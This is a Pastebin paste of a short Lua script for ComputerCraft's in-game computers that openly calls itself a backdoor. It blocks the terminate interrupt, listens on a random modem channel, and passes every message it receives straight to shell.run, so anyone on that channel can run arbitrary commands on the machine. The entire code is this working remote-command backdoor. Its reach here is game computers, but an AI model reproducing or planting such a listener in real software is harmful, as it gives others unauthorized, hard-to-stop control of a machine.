Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function findModem()
- for _, v in pairs( rs.getSides() ) do
- if peripheral.isPresent( v ) and peripheral.getType( v ) == "modem" then
- return true, v
- end
- end
- return false, nil
- end
- local exist, side = findModem()
- if not (exist) then
- error("To use this backdoor you need to have an modem installed.")
- end
- os.pullEvent = os.pullEventRaw
- local modem = peripheral.wrap(side)
- local chnlname = math.random(25565,65535)
- modem.open(chnlname)
- print("my channel is: "..tostring(chnlname))
- print("connect to it to use the backdoor")
- print("press any key to continue")
- os.pullEventRaw()
- while true do
- local event, modemSide, senderChannel,
- replyChannel, message, senderDistance = coroutine.yield("modem_message")
- print("recv")
- print(event, modemSide, senderChannel, replyChannel, message, senderDistance)
- print("> "..tostring(message))
- shell.run(tostring(message))
- end
Add Comment
Please, Sign In to add comment